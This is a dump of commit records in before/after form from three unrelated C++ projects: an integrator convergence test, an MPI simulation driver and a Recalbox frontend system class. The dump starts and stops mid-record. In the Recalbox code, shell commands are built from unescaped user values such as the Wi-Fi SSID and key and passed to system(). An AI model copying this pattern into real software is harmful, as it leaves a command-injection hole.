AllOf(Gt(4.9), Lt(5.1)));\n EXPECT_THAT(q_correlation, AllOf(Gt(0.999), Lt(1.01)));\n Dimensionless const p_convergence_order = Slope(log_step_sizes, log_p_errors);\n Dimensionless const p_correlation =\n PearsonProductMomentCorrelationCoefficient(log_step_sizes, log_p_errors);\n LOG(INFO) << \"Convergence order in p : \" << p_convergence_order;\n LOG(INFO) << \"Correlation : \" << p_correlation;\n LOG(INFO) << \"Convergence data for p :\\n\" <<\n BidimensionalDatasetMathematicaInput(log_step_sizes, log_q_errors);\n EXPECT_THAT(p_convergence_order, AllOf(Gt(5.9), Lt(6.1)));\n EXPECT_THAT(p_correlation, AllOf(Gt(0.999), Lt(1.01)));\n}\n\n} \/\/ namespace integrators\n} \/\/ namespace principia\n<commit_msg>Why is that here?<commit_after>\n#define TRACE_SYMPLECTIC_PARTITIONED_RUNGE_KUTTA_INTEGRATOR\n\n#include \"integrators\/symplectic_partitioned_runge_kutta_integrator.hpp\"\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include \"geometry\/sign.hpp\"\n#include \"glog\/logging.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"quantities\/dimensionless.hpp\"\n#include \"testing_utilities\/numerics.hpp\"\n#include \"testing_utilities\/statistics.hpp\"\n\nusing principia::testing_utilities::AbsoluteError;\nusing testing::AllOf;\nusing testing::Gt;\nusing testing::Lt;\nusing principia::testing_utilities::BidimensionalDatasetMathematicaInput;\nusing principia::testing_utilities::Slope;\nusing principia::testing_utilities::PearsonProductMomentCorrelationCoefficient;\n\nnamespace principia {\nnamespace integrators {\n\nnamespace {\n\nusing quantities::Dimensionless;\n\ninline void compute_harmonic_oscillator_force(double const t,\n std::vector<double> const& q,\n std::vector<double>* result) {\n (*result)[0] = -q[0];\n}\n\ninline void compute_harmonic_oscillator_velocity(std::vector<double> const& p,\n std::vector<double>* result) {\n (*result)[0] = p[0];\n}\n\n} \/\/ namespace\n\nclass SPRKTest : public testing::Test {\n public:\n static void SetUpTestCase() {\n google::LogToStderr();\n }\n\n protected:\n void SetUp() override {}\n\n SPRKIntegrator integrator_;\n SPRKIntegrator::Parameters parameters_;\n SPRKIntegrator::Solution solution_;\n};\n\nTEST_F(SPRKTest, HarmonicOscillator) {\n parameters_.q0 = {1.0};\n parameters_.p0 = {0.0};\n parameters_.t0 = 0.0;\n#ifdef _DEBUG\n parameters_.tmax = 100.0;\n#else\n parameters_.tmax = 1000.0;\n#endif\n parameters_.Δt = 1.0E-4;\n parameters_.coefficients = integrator_.Order5Optimal();\n parameters_.sampling_period = 1;\n integrator_.Solve(&compute_harmonic_oscillator_force,\n &compute_harmonic_oscillator_velocity,\n parameters_, &solution_);\n double q_error = 0;\n double p_error = 0;\n for (size_t i = 0; i < solution_.time.quantities.size(); ++i) {\n q_error = std::max(q_error,\n std::abs(solution_.position[0].quantities[i] -\n std::cos(solution_.time.quantities[i])));\n p_error = std::max(p_error,\n std::abs(solution_.momentum[0].quantities[i] +\n std::sin(solution_.time.quantities[i])));\n }\n LOG(INFO) << \"q_error = \" << q_error;\n LOG(INFO) << \"p_error = \" << p_error;\n EXPECT_THAT(q_error, Lt(2E-16 * parameters_.tmax));\n EXPECT_THAT(p_error, Lt(2E-16 * parameters_.tmax));\n}\n\nTEST_F(SPRKTest, Convergence) {\n parameters_.q0 = {1.0};\n parameters_.p0 = {0.0};\n parameters_.t0 = 0.0;\n parameters_.tmax = 100;\n parameters_.coefficients = integrator_.Order5Optimal();\n parameters_.sampling_period = 0;\n \/\/ For 0.2 * 1.1⁻²¹ < |Δt| < 0.2 , the correlation between step size and error\n \/\/ is very strong. It the step is small enough to converge and large enough to\n \/\/ stay clear of floating point inaccuracy.\n parameters_.Δt = 0.2;\n int const step_sizes = 22;\n double const step_reduction = 1.1;\n std::vector<Dimensionless> log_step_sizes(step_sizes);\n std::vector<Dimensionless> log_q_errors(step_sizes);\n std::vector<Dimensionless> log_p_errors(step_sizes);\n for (int i = 0; i < step_sizes; ++i, parameters_.Δt \/= step_reduction) {\n solution_ = SPRKIntegrator::Solution();\n integrator_.Solve(&compute_harmonic_oscillator_force,\n &compute_harmonic_oscillator_velocity,\n parameters_, &solution_);\n log_step_sizes[i] = std::log10(parameters_.Δt);\n log_q_errors[i] = std::log10(\n std::abs(solution_.position[0].quantities[0] -\n std::cos(solution_.time.quantities[0])));\n log_p_errors[i] = std::log10(\n std::abs(solution_.momentum[0].quantities[0] +\n std::sin(solution_.time.quantities[0])));\n }\n Dimensionless const q_convergence_order = Slope(log_step_sizes, log_q_errors);\n Dimensionless const q_correlation =\n PearsonProductMomentCorrelationCoefficient(log_step_sizes, log_q_errors);\n LOG(INFO) << \"Convergence order in q : \" << q_convergence_order;\n LOG(INFO) << \"Correlation : \" << q_correlation;\n LOG(INFO) << \"Convergence data for q :\\n\" <<\n BidimensionalDatasetMathematicaInput(log_step_sizes, log_q_errors);\n EXPECT_THAT(q_convergence_order, AllOf(Gt(4.9), Lt(5.1)));\n EXPECT_THAT(q_correlation, AllOf(Gt(0.999), Lt(1.01)));\n Dimensionless const p_convergence_order = Slope(log_step_sizes, log_p_errors);\n Dimensionless const p_correlation =\n PearsonProductMomentCorrelationCoefficient(log_step_sizes, log_p_errors);\n LOG(INFO) << \"Convergence order in p : \" << p_convergence_order;\n LOG(INFO) << \"Correlation : \" << p_correlation;\n LOG(INFO) << \"Convergence data for p :\\n\" <<\n BidimensionalDatasetMathematicaInput(log_step_sizes, log_q_errors);\n EXPECT_THAT(p_convergence_order, AllOf(Gt(5.9), Lt(6.1)));\n EXPECT_THAT(p_correlation, AllOf(Gt(0.999), Lt(1.01)));\n}\n\n} \/\/ namespace integrators\n} \/\/ namespace principia\n<|endoftext|>"} {"text":"<commit_before>#include <mpi.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include \"pearson.h\"\n\nconst int T_MAX = 10000;\n\nFormura_Navigator navi;\n\nfloat frand() {\n return rand() \/ float(RAND_MAX);\n}\n\nvoid init() {\n for(int y = navi.lower_y; y < navi.upper_y; ++y) {\n for(int x = navi.lower_x; x < navi.upper_x; ++x) {\n U[y][x] = 1;\n V[y][x] = 0;\n }\n }\n for (int y = 118; y < 138; ++y) {\n for (int x = 118; x < 138; ++x) {\n U[y][x] = 0.5+0.01*frand();\n V[y][x] = 0.25+0.01*frand();\n }\n }\n}\n\nint main (int argc, char **argv) {\n system(\"mkdir -p frames\");\n srand(time(NULL));\n MPI_Init(&argc, &argv);\n Formura_Init(&navi, MPI_COMM_WORLD);\n\n init();\n\n while(navi.time_step < T_MAX) {\n if(navi.time_step % 20 == 0) {\n printf(\"t = %d\\n\", navi.time_step);\n char fn[256];\n sprintf(fn, \"frames\/%06d.txt\", navi.time_step);\n FILE *fp = fopen(fn,\"w\");\n for(int y = navi.lower_y; y < navi.upper_y; ++y) {\n for(int x = navi.lower_x; x < navi.upper_x; ++x) {\n fprintf(fp, \"%d %d %f\\n\", x, y, U[y][x]);\n }\n fprintf(fp, \"\\n\");\n }\n fclose(fp);\n }\n Formura_Forward(&navi);\n }\n MPI_Finalize();\n}\n<commit_msg>Fix the x-y confusion in pearson-main.cpp<commit_after>#include <mpi.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include \"pearson.h\"\n\nconst int T_MAX = 10000;\n\nFormura_Navigator navi;\n\nfloat frand() {\n return rand() \/ float(RAND_MAX);\n}\n\nvoid init() {\n for(int x = navi.lower_x; x < navi.upper_x; ++x) {\n for(int y = navi.lower_y; y < navi.upper_y; ++y) {\n U[x][y] = 1;\n V[x][y] = 0;\n }\n }\n for (int x = 58; x < 78; ++x) {\n for (int y = 58; y < 78; ++y) {\n U[x][y] = 0.5+0.01*frand();\n V[x][y] = 0.25+0.01*frand();\n }\n }\n}\n\nint main (int argc, char **argv) {\n system(\"mkdir -p frames\");\n srand(time(NULL));\n MPI_Init(&argc, &argv);\n Formura_Init(&navi, MPI_COMM_WORLD);\n\n init();\n\n while(navi.time_step < T_MAX) {\n if(navi.time_step % 20 == 0) {\n printf(\"t = %d\\n\", navi.time_step);\n char fn[256];\n sprintf(fn, \"frames\/%06d.txt\", navi.time_step);\n FILE *fp = fopen(fn,\"w\");\n for(int x = navi.lower_x; x < navi.upper_x; ++x) {\n for(int y = navi.lower_y; y < navi.upper_y; ++y) {\n fprintf(fp, \"%d %d %f\\n\", x, y, U[x][y]);\n }\n fprintf(fp, \"\\n\");\n }\n fclose(fp);\n }\n Formura_Forward(&navi);\n }\n MPI_Finalize();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* \n * File: RetroboxSystem.cpp\n * Author: matthieu\n * \n * Created on 29 novembre 2014, 03:15\n *\/\n\n#include \"RecalboxSystem.h\"\n#include <stdlib.h>\n#include <sys\/statvfs.h>\n#include <sstream>\n#include \"Settings.h\"\n#include <iostream>\n#include <fstream>\n#include \"Log.h\"\n#include \"HttpReq.h\"\n\n#include \"AudioManager.h\"\n#include \"VolumeControl.h\"\n\n#include <stdio.h>\n#include <sys\/types.h>\n#include <ifaddrs.h>\n#include <netinet\/in.h>\n#include <string.h>\n#include <arpa\/inet.h>\n\n\nRecalboxSystem::RecalboxSystem() {\n}\n\nRecalboxSystem *RecalboxSystem::instance = NULL;\n\nRecalboxSystem *RecalboxSystem::getInstance() {\n if (RecalboxSystem::instance == NULL) {\n RecalboxSystem::instance = new RecalboxSystem();\n }\n return RecalboxSystem::instance;\n}\n\nunsigned long RecalboxSystem::getFreeSpaceGB(std::string mountpoint) {\n struct statvfs fiData;\n const char *fnPath = mountpoint.c_str();\n int free = 0;\n if ((statvfs(fnPath, &fiData)) >= 0) {\n free = (fiData.f_bfree * fiData.f_bsize) \/ (1024 * 1024 * 1024);\n }\n return free;\n}\n\nstd::string RecalboxSystem::getFreeSpaceInfo() {\n struct statvfs fiData;\n std::string sharePart = Settings::getInstance()->getString(\"SharePartition\");\n if (sharePart.size() > 0) {\n const char *fnPath = sharePart.c_str();\n if ((statvfs(fnPath, &fiData)) < 0) {\n return \"\";\n } else {\n unsigned long total = (fiData.f_blocks * (fiData.f_bsize \/ 1024)) \/ (1024L * 1024L);\n unsigned long free = (fiData.f_bfree * (fiData.f_bsize \/ 1024)) \/ (1024L * 1024L);\n unsigned long used = total - free;\n unsigned long percent = used * 100 \/ total;\n\n std::ostringstream oss;\n oss << used << \"GB\/\" << total << \"GB (\" << percent << \"%)\";\n return oss.str();\n }\n } else {\n return \"ERROR\";\n }\n}\n\nbool RecalboxSystem::isFreeSpaceLimit() {\n std::string sharePart = Settings::getInstance()->getString(\"SharePartition\");\n if (sharePart.size() > 0) {\n return getFreeSpaceGB(sharePart) < 2;\n } else {\n return \"ERROR\";\n }\n\n}\n\nstd::string RecalboxSystem::getVersion() {\n std::string version = Settings::getInstance()->getString(\"VersionFile\");\n if (version.size() > 0) {\n std::ifstream ifs(version);\n\n if (ifs.good()) {\n std::string contents;\n std::getline(ifs, contents);\n return contents;\n }\n }\n return \"\";\n}\n\nbool RecalboxSystem::needToShowVersionMessage() {\n std::string versionFile = Settings::getInstance()->getString(\"LastVersionFile\");\n if (versionFile.size() > 0) {\n std::ifstream lvifs(versionFile);\n if (lvifs.good()) {\n std::string lastVersion;\n std::getline(lvifs, lastVersion);\n std::string currentVersion = getVersion();\n if (lastVersion == currentVersion) {\n return false;\n }\n }\n }\n return true;\n}\n\nbool RecalboxSystem::versionMessageDisplayed() {\n std::string versionFile = Settings::getInstance()->getString(\"LastVersionFile\");\n std::string currentVersion = getVersion();\n std::ostringstream oss;\n oss << \"echo \" << currentVersion << \" > \" << versionFile;\n if (system(oss.str().c_str())) {\n LOG(LogWarning) << \"Error executing \" << oss.str().c_str();\n return false;\n } else {\n LOG(LogInfo) << \"Version message displayed ok\";\n return true;\n }\n\n return false;\n}\n\nstd::string RecalboxSystem::getVersionMessage() {\n std::string versionMessageFile = Settings::getInstance()->getString(\"VersionMessage\");\n if (versionMessageFile.size() > 0) {\n std::ifstream ifs(versionMessageFile);\n\n if (ifs.good()) {\n std::string contents((std::istreambuf_iterator<char>(ifs)),\n std::istreambuf_iterator<char>());\n return contents;\n }\n }\n return \"\";\n\n}\n\nbool RecalboxSystem::setAudioOutputDevice(std::string device) {\n int commandValue = -1;\n int returnValue = false;\n\n if (device == \"auto\") {\n commandValue = 0;\n } else if (device == \"jack\") {\n commandValue = 1;\n } else if (device == \"hdmi\") {\n commandValue = 2;\n } else {\n LOG(LogWarning) << \"Unable to find audio output device to use !\";\n }\n\n if (commandValue != -1) {\n std::ostringstream oss;\n oss << \"amixer cset numid=3 \" << commandValue;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n returnValue = false;\n } else {\n LOG(LogInfo) << \"Audio output device set to : \" << device;\n returnValue = true;\n }\n }\n return returnValue;\n}\n\n\nbool RecalboxSystem::setOverscan(bool enable) {\n\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"overscan\";\n if (enable) {\n oss << \" \" << \"enable\";\n } else {\n oss << \" \" << \"disable\";\n }\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n return false;\n } else {\n LOG(LogInfo) << \"Overscan set to : \" << enable;\n return true;\n }\n\n}\n\nbool RecalboxSystem::setOverclock(std::string mode) {\n if (mode != \"\") {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"overclock\" << \" \" << mode;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n return false;\n } else {\n LOG(LogInfo) << \"Overclocking set to \" << mode;\n return true;\n }\n }\n\n return false;\n}\n\n\nbool RecalboxSystem::updateSystem() {\n std::string updatecommand = Settings::getInstance()->getString(\"UpdateCommand\");\n if (updatecommand.size() > 0) {\n int exitcode = system(updatecommand.c_str());\n return exitcode == 0;\n }\n return false;\n}\n\nbool RecalboxSystem::ping() {\n std::string updateserver = Settings::getInstance()->getString(\"UpdateServer\");\n std::string s(\"ping -c 1 \" + updateserver);\n int exitcode = system(s.c_str());\n return exitcode == 0;\n}\n\nbool RecalboxSystem::canUpdate() {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"canupdate\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Can update \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot update \";\n return false;\n }\n}\n\nbool RecalboxSystem::launchKodi(Window *window) {\n\n LOG(LogInfo) << \"Attempting to launch kodi...\";\n\n\n AudioManager::getInstance()->deinit();\n VolumeControl::getInstance()->deinit();\n\n window->deinit();\n\n std::string command = \"\/recalbox\/scripts\/kodilauncher.sh\";\n int exitCode = system(command.c_str());\n\n window->init();\n VolumeControl::getInstance()->init();\n AudioManager::getInstance()->resumeMusic();\n window->normalizeNextUpdate();\n\n return exitCode == 0;\n\n}\n\nbool RecalboxSystem::enableWifi(std::string ssid, std::string key) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"wifi\" << \" \"\n << \"enable\" << \" \\\"\"\n << ssid << \"\\\" \\\"\" << key << \"\\\"\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Wifi enabled \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot enable wifi \";\n return false;\n }\n}\n\nbool RecalboxSystem::disableWifi() {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"wifi\" << \" \"\n << \"disable\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Wifi disabled \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot disable wifi \";\n return false;\n }\n}\n\n\nstd::string RecalboxSystem::getRecalboxConfig(std::string key) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxConfigScript\") << \" \"\n << \" -command load \"\n << \" -key \" << key;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n\n FILE *pipe = popen(command.c_str(), \"r\");\n if (!pipe) return \"ERROR\";\n char buffer[128];\n std::string result = \"\";\n while (!feof(pipe)) {\n if (fgets(buffer, 128, pipe) != NULL)\n result += buffer;\n }\n pclose(pipe);\n\n return result;\n}\n\nbool RecalboxSystem::setRecalboxConfig(std::string key, std::string value) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxConfigScript\") << \" \"\n << \" -command save\"\n << \" -key \" << key\n << \" -value \" << value;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << key << \" saved in recalbox.conf\";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot save \" << key << \" in recalbox.conf\";\n return false;\n }\n}\n\n\nbool RecalboxSystem::reboot() {\n bool success = system(\"touch \/tmp\/reboot.please\") == 0;\n SDL_Event *quit = new SDL_Event();\n quit->type = SDL_QUIT;\n SDL_PushEvent(quit);\n return success;\n}\n\nbool RecalboxSystem::shutdown() {\n bool success = system(\"touch \/tmp\/shutdown.please\") == 0;\n SDL_Event *quit = new SDL_Event();\n quit->type = SDL_QUIT;\n SDL_PushEvent(quit);\n return success;\n}\n\nstd::string RecalboxSystem::getIpAdress() {\n struct ifaddrs *ifAddrStruct = NULL;\n struct ifaddrs *ifa = NULL;\n void *tmpAddrPtr = NULL;\n\n std::string result = \"NOT CONNECTED\";\n getifaddrs(&ifAddrStruct);\n\n for (ifa = ifAddrStruct; ifa != NULL; ifa = ifa->ifa_next) {\n if (!ifa->ifa_addr) {\n continue;\n }\n if (ifa->ifa_addr->sa_family == AF_INET) { \/\/ check it is IP4\n \/\/ is a valid IP4 Address\n tmpAddrPtr = &((struct sockaddr_in *) ifa->ifa_addr)->sin_addr;\n char addressBuffer[INET_ADDRSTRLEN];\n inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN);\n printf(\"%s IP Address %s\\n\", ifa->ifa_name, addressBuffer);\n if (std::string(ifa->ifa_name).find(\"eth\") != std::string::npos || std::string(ifa->ifa_name).find(\"wlan\") != std::string::npos) {\n result = std::string(addressBuffer);\n }\n }\n }\n \/\/ Seeking for ipv6 if no IPV4\n if (result.compare(\"NOT CONNECTED\") == 0) {\n for (ifa = ifAddrStruct; ifa != NULL; ifa = ifa->ifa_next) {\n if (!ifa->ifa_addr) {\n continue;\n }\n if (ifa->ifa_addr->sa_family == AF_INET6) { \/\/ check it is IP6\n \/\/ is a valid IP6 Address\n tmpAddrPtr = &((struct sockaddr_in6 *) ifa->ifa_addr)->sin6_addr;\n char addressBuffer[INET6_ADDRSTRLEN];\n inet_ntop(AF_INET6, tmpAddrPtr, addressBuffer, INET6_ADDRSTRLEN);\n printf(\"%s IP Address %s\\n\", ifa->ifa_name, addressBuffer);\n if (std::string(ifa->ifa_name).find(\"eth\") != std::string::npos || std::string(ifa->ifa_name).find(\"wlan\") != std::string::npos) {\n return std::string(addressBuffer);\n }\n }\n }\n }\n if (ifAddrStruct != NULL) freeifaddrs(ifAddrStruct);\n return result;\n}\n\nstd::vector<std::string> *RecalboxSystem::scanBluetooth() {\n std::vector<std::string> *res = new std::vector<std::string>();\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"hcitoolscan\";\n FILE *pipe = popen(oss.str().c_str(), \"r\");\n char line[1024];\n\n if (pipe == NULL) {\n return NULL;\n }\n\n while (fgets(line, 1024, pipe)) {\n strtok(line, \"\\n\");\n res->push_back(std::string(line));\n }\n pclose(pipe);\n\n return res;\n}\n\nbool RecalboxSystem::pairBluetooth(std::string &controller) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"hiddpair\" << \" \" << controller;\n int exitcode = system(oss.str().c_str());\n return exitcode == 0;\n}\n<commit_msg>added new kodi launch<commit_after>\/* \n * File: RetroboxSystem.cpp\n * Author: matthieu\n * \n * Created on 29 novembre 2014, 03:15\n *\/\n\n#include \"RecalboxSystem.h\"\n#include <stdlib.h>\n#include <sys\/statvfs.h>\n#include <sstream>\n#include \"Settings.h\"\n#include <iostream>\n#include <fstream>\n#include \"Log.h\"\n#include \"HttpReq.h\"\n\n#include \"AudioManager.h\"\n#include \"VolumeControl.h\"\n#include \"InputManager.h\"\n\n#include <stdio.h>\n#include <sys\/types.h>\n#include <ifaddrs.h>\n#include <netinet\/in.h>\n#include <string.h>\n#include <arpa\/inet.h>\n\n\nRecalboxSystem::RecalboxSystem() {\n}\n\nRecalboxSystem *RecalboxSystem::instance = NULL;\n\nRecalboxSystem *RecalboxSystem::getInstance() {\n if (RecalboxSystem::instance == NULL) {\n RecalboxSystem::instance = new RecalboxSystem();\n }\n return RecalboxSystem::instance;\n}\n\nunsigned long RecalboxSystem::getFreeSpaceGB(std::string mountpoint) {\n struct statvfs fiData;\n const char *fnPath = mountpoint.c_str();\n int free = 0;\n if ((statvfs(fnPath, &fiData)) >= 0) {\n free = (fiData.f_bfree * fiData.f_bsize) \/ (1024 * 1024 * 1024);\n }\n return free;\n}\n\nstd::string RecalboxSystem::getFreeSpaceInfo() {\n struct statvfs fiData;\n std::string sharePart = Settings::getInstance()->getString(\"SharePartition\");\n if (sharePart.size() > 0) {\n const char *fnPath = sharePart.c_str();\n if ((statvfs(fnPath, &fiData)) < 0) {\n return \"\";\n } else {\n unsigned long total = (fiData.f_blocks * (fiData.f_bsize \/ 1024)) \/ (1024L * 1024L);\n unsigned long free = (fiData.f_bfree * (fiData.f_bsize \/ 1024)) \/ (1024L * 1024L);\n unsigned long used = total - free;\n unsigned long percent = used * 100 \/ total;\n\n std::ostringstream oss;\n oss << used << \"GB\/\" << total << \"GB (\" << percent << \"%)\";\n return oss.str();\n }\n } else {\n return \"ERROR\";\n }\n}\n\nbool RecalboxSystem::isFreeSpaceLimit() {\n std::string sharePart = Settings::getInstance()->getString(\"SharePartition\");\n if (sharePart.size() > 0) {\n return getFreeSpaceGB(sharePart) < 2;\n } else {\n return \"ERROR\";\n }\n\n}\n\nstd::string RecalboxSystem::getVersion() {\n std::string version = Settings::getInstance()->getString(\"VersionFile\");\n if (version.size() > 0) {\n std::ifstream ifs(version);\n\n if (ifs.good()) {\n std::string contents;\n std::getline(ifs, contents);\n return contents;\n }\n }\n return \"\";\n}\n\nbool RecalboxSystem::needToShowVersionMessage() {\n std::string versionFile = Settings::getInstance()->getString(\"LastVersionFile\");\n if (versionFile.size() > 0) {\n std::ifstream lvifs(versionFile);\n if (lvifs.good()) {\n std::string lastVersion;\n std::getline(lvifs, lastVersion);\n std::string currentVersion = getVersion();\n if (lastVersion == currentVersion) {\n return false;\n }\n }\n }\n return true;\n}\n\nbool RecalboxSystem::versionMessageDisplayed() {\n std::string versionFile = Settings::getInstance()->getString(\"LastVersionFile\");\n std::string currentVersion = getVersion();\n std::ostringstream oss;\n oss << \"echo \" << currentVersion << \" > \" << versionFile;\n if (system(oss.str().c_str())) {\n LOG(LogWarning) << \"Error executing \" << oss.str().c_str();\n return false;\n } else {\n LOG(LogInfo) << \"Version message displayed ok\";\n return true;\n }\n\n return false;\n}\n\nstd::string RecalboxSystem::getVersionMessage() {\n std::string versionMessageFile = Settings::getInstance()->getString(\"VersionMessage\");\n if (versionMessageFile.size() > 0) {\n std::ifstream ifs(versionMessageFile);\n\n if (ifs.good()) {\n std::string contents((std::istreambuf_iterator<char>(ifs)),\n std::istreambuf_iterator<char>());\n return contents;\n }\n }\n return \"\";\n\n}\n\nbool RecalboxSystem::setAudioOutputDevice(std::string device) {\n int commandValue = -1;\n int returnValue = false;\n\n if (device == \"auto\") {\n commandValue = 0;\n } else if (device == \"jack\") {\n commandValue = 1;\n } else if (device == \"hdmi\") {\n commandValue = 2;\n } else {\n LOG(LogWarning) << \"Unable to find audio output device to use !\";\n }\n\n if (commandValue != -1) {\n std::ostringstream oss;\n oss << \"amixer cset numid=3 \" << commandValue;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n returnValue = false;\n } else {\n LOG(LogInfo) << \"Audio output device set to : \" << device;\n returnValue = true;\n }\n }\n return returnValue;\n}\n\n\nbool RecalboxSystem::setOverscan(bool enable) {\n\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"overscan\";\n if (enable) {\n oss << \" \" << \"enable\";\n } else {\n oss << \" \" << \"disable\";\n }\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n return false;\n } else {\n LOG(LogInfo) << \"Overscan set to : \" << enable;\n return true;\n }\n\n}\n\nbool RecalboxSystem::setOverclock(std::string mode) {\n if (mode != \"\") {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"overclock\" << \" \" << mode;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str())) {\n LOG(LogWarning) << \"Error executing \" << command;\n return false;\n } else {\n LOG(LogInfo) << \"Overclocking set to \" << mode;\n return true;\n }\n }\n\n return false;\n}\n\n\nbool RecalboxSystem::updateSystem() {\n std::string updatecommand = Settings::getInstance()->getString(\"UpdateCommand\");\n if (updatecommand.size() > 0) {\n int exitcode = system(updatecommand.c_str());\n return exitcode == 0;\n }\n return false;\n}\n\nbool RecalboxSystem::ping() {\n std::string updateserver = Settings::getInstance()->getString(\"UpdateServer\");\n std::string s(\"ping -c 1 \" + updateserver);\n int exitcode = system(s.c_str());\n return exitcode == 0;\n}\n\nbool RecalboxSystem::canUpdate() {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \" << \"canupdate\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Can update \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot update \";\n return false;\n }\n}\n\nbool RecalboxSystem::launchKodi(Window *window) {\n\n LOG(LogInfo) << \"Attempting to launch kodi...\";\n\n\n AudioManager::getInstance()->deinit();\n VolumeControl::getInstance()->deinit();\n\n window->deinit();\n\n std::string commandline = InputManager::getInstance()->configureEmulators();\n std::string command = \"configgen -system kodi -rom '' \"+commandline;\n int exitCode = system(command.c_str());\n\n window->init();\n VolumeControl::getInstance()->init();\n AudioManager::getInstance()->resumeMusic();\n window->normalizeNextUpdate();\n\n return exitCode == 0;\n\n}\n\nbool RecalboxSystem::enableWifi(std::string ssid, std::string key) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"wifi\" << \" \"\n << \"enable\" << \" \\\"\"\n << ssid << \"\\\" \\\"\" << key << \"\\\"\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Wifi enabled \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot enable wifi \";\n return false;\n }\n}\n\nbool RecalboxSystem::disableWifi() {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxSettingScript\") << \" \"\n << \"wifi\" << \" \"\n << \"disable\";\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << \"Wifi disabled \";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot disable wifi \";\n return false;\n }\n}\n\n\nstd::string RecalboxSystem::getRecalboxConfig(std::string key) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxConfigScript\") << \" \"\n << \" -command load \"\n << \" -key \" << key;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n\n FILE *pipe = popen(command.c_str(), \"r\");\n if (!pipe) return \"ERROR\";\n char buffer[128];\n std::string result = \"\";\n while (!feof(pipe)) {\n if (fgets(buffer, 128, pipe) != NULL)\n result += buffer;\n }\n pclose(pipe);\n\n return result;\n}\n\nbool RecalboxSystem::setRecalboxConfig(std::string key, std::string value) {\n std::ostringstream oss;\n oss << Settings::getInstance()->getString(\"RecalboxConfigScript\") << \" \"\n << \" -command save\"\n << \" -key \" << key\n << \" -value \" << value;\n std::string command = oss.str();\n LOG(LogInfo) << \"Launching \" << command;\n if (system(command.c_str()) == 0) {\n LOG(LogInfo) << key << \" saved in recalbox.conf\";\n return true;\n } else {\n LOG(LogInfo) << \"Cannot save \" << key << \" in recalbox.conf\";\n return false;\n }\n}\n\n\nbool RecalboxSystem::reboot() {\n bool success = system(\"touch \/tmp\/reboot.please\") == 0;\n SDL_Event *quit = new SDL_Event();\n quit->type = SDL_QUIT;\n SDL_PushEvent(quit);\n return success;\n}\n\nbool RecalboxSystem::shutdown() {\n bool success = system(\"touch \/tmp\/shutdown.please\") == 0;\n SDL_Event *quit = new SDL_Event();\n quit->type = SDL_QUIT;\n SDL_PushEvent(quit);\n return success;\n}\n\nstd::string RecalboxSystem::getIpAdress() {\n struct ifaddrs *ifAddrStruct = NULL;\n struct ifaddrs *ifa = NULL;\n void *tmpAddrPtr = NULL;\n\n std::string result = \"NOT 